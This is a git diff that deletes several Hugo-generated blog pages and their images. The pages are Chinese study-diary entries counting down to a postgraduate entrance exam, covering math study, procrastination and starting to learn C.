"b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/index.html" deleted file mode 100644 index a25de2a5..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试305天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试305天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试305天 -

- - -

- 折腾补考,以学数学为主 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

折腾补考,以学数学为主

-

之前的记录一直没说,其实上学期挂科了,专业课肯定不会挂,挂的都是数学那些,其实不难,就是没学,刚开学这几天好好学学,挂的这几科在考研的整个过程中都会用到,所以要好好学学,其他的东西先少学一点

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/index.html" deleted file mode 100644 index 4077277f..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试306天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试306天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试306天 -

- - -

- 学了数学 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

学了数学

-

学了数学,这些记录可能有些流水账,但是太细了没有必要,而且时间也很紧张

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225306\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/index.html" deleted file mode 100644 index 42859fee..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试307天(306天补) - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试307天(306天补) - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试307天(306天补) -

- - -

- 学了学校里的课程和数学 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

学了学校里的课程和数学

-

学了学校里的课程和数学

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225307\345\244\251306\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/index.html" deleted file mode 100644 index 244eaa28..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试308天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试308天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试308天 -

- - -

- 学了一点C程序设计语言(第2版) -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

学了一点C程序设计语言(第2版)

-

继续努力

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225308\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/index.html" deleted file mode 100644 index 1d2c4c40..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试309天(308天补) - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试309天(308天补) - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试309天(308天补) -

- - -

- 开学,一天没学 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

开学,一天没学

-

开学,一天没学,以后不能这样了,学习间断了会退步很多

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225309\345\244\251308\345\244\251\350\241\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/index.html" deleted file mode 100644 index 39c94d7d..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试310天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试310天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试310天 -

- - -

- 小摆,重点研究了一下英雄联盟脚本 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

小摆

-

重点研究了一下英雄联盟脚本,但是其他的没学,明天要努力齐步学习,人会遗忘,一天使劲学一天不学,不如每天都学一点,以后必然要每天都学一点,而不是三天打鱼两天晒网的

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225310\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/index.html" deleted file mode 100644 index eeaa9e3d..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/index.html" +++ /dev/null @@ -1,688 +0,0 @@ - - - - -考研记录 距考研初试311天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试311天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试311天 -

- - -

- 基本摆烂,但是有改变 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

摆了

-

今天基本摆了,摆的原因就是单纯的不想学,早上醒了之后刷了会b站,然后进入了日复一日的醒了-摆烂-起床-发现很晚了-不想学了的流程中,但是晚上还是学了点,算是有点改变,明天的目标是起床不刷b站,不玩手机,直接起床

-

其实对于类似刷b站这种娱乐行为我觉得没什么不妥,从前段时间开始我的人生目标已经变成了快乐,我觉得人活着就是为了快乐,为了自己开心,当然前提是要遵纪守法,而且要根据自己的能力来

-

单论刷b站这种娱乐行为本身,其实是没意义的一种娱乐行为,既没有什么收获,也没有什么人生感悟,但是如果能让你感到快乐,那么对你来说就是值得的,当然站在客观的角度上来说,如果有让你感到同样快乐且有收获或人生感悟的行为,那么是比刷b站要好的,我个人觉得刷b站其实不太好

-

但是最痛苦的是其实刷b站也不能让我感到快乐,就和打游戏一样,初中高中每天都想着打联盟,哪怕只玩一局也很开心,但是现在各种游戏都玩着没意思,刷b站在最近这段时间之前也能让我感到快乐,不论是找自己感兴趣的视频看,还是刷推荐,都能让我感到快乐,但是最近这段时候开始就不这样了,没什么感兴趣的视频,推荐,热门,排行,每日必看和入站必刷等等看到的视频也觉得没意思,说到底我早上醒了不起床刷b站就是消磨时间,为了不学习而找点事做,这样很不好,明天争取改掉

-

学了什么

-

想看CS:APP,发现要C语言基础,CS:APP推荐了C程序设计语言(第2版)这本书来学习C语言,本来想和其他书一样买实体书,但是有点贵,而且本身这本书也不厚,最后决定速战速决看pdf电子书,这本书的作者是美国的Brian W. Kernighan和美国的Dennis M. Ritchie,说到这里插个题外话,我发现当初犹豫学考研是买实体书还是看电子书,最后选择了实体书的时候,买了几百块钱的正版书,绝版的也找了好久的正版二手,保存完好且书里没有涂画的,但是当发现CS:APP前置知识需要C语言且推荐了C程序设计语言(第2版)这本书时,却觉得要买本实体书好贵,其实最后抉择下来还是会买实体书的,但是因为这本书太薄了这个原因,导致了我最后还是选择了电子书,不过我发现对我来说,实体书的学习效果要好于电子书

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
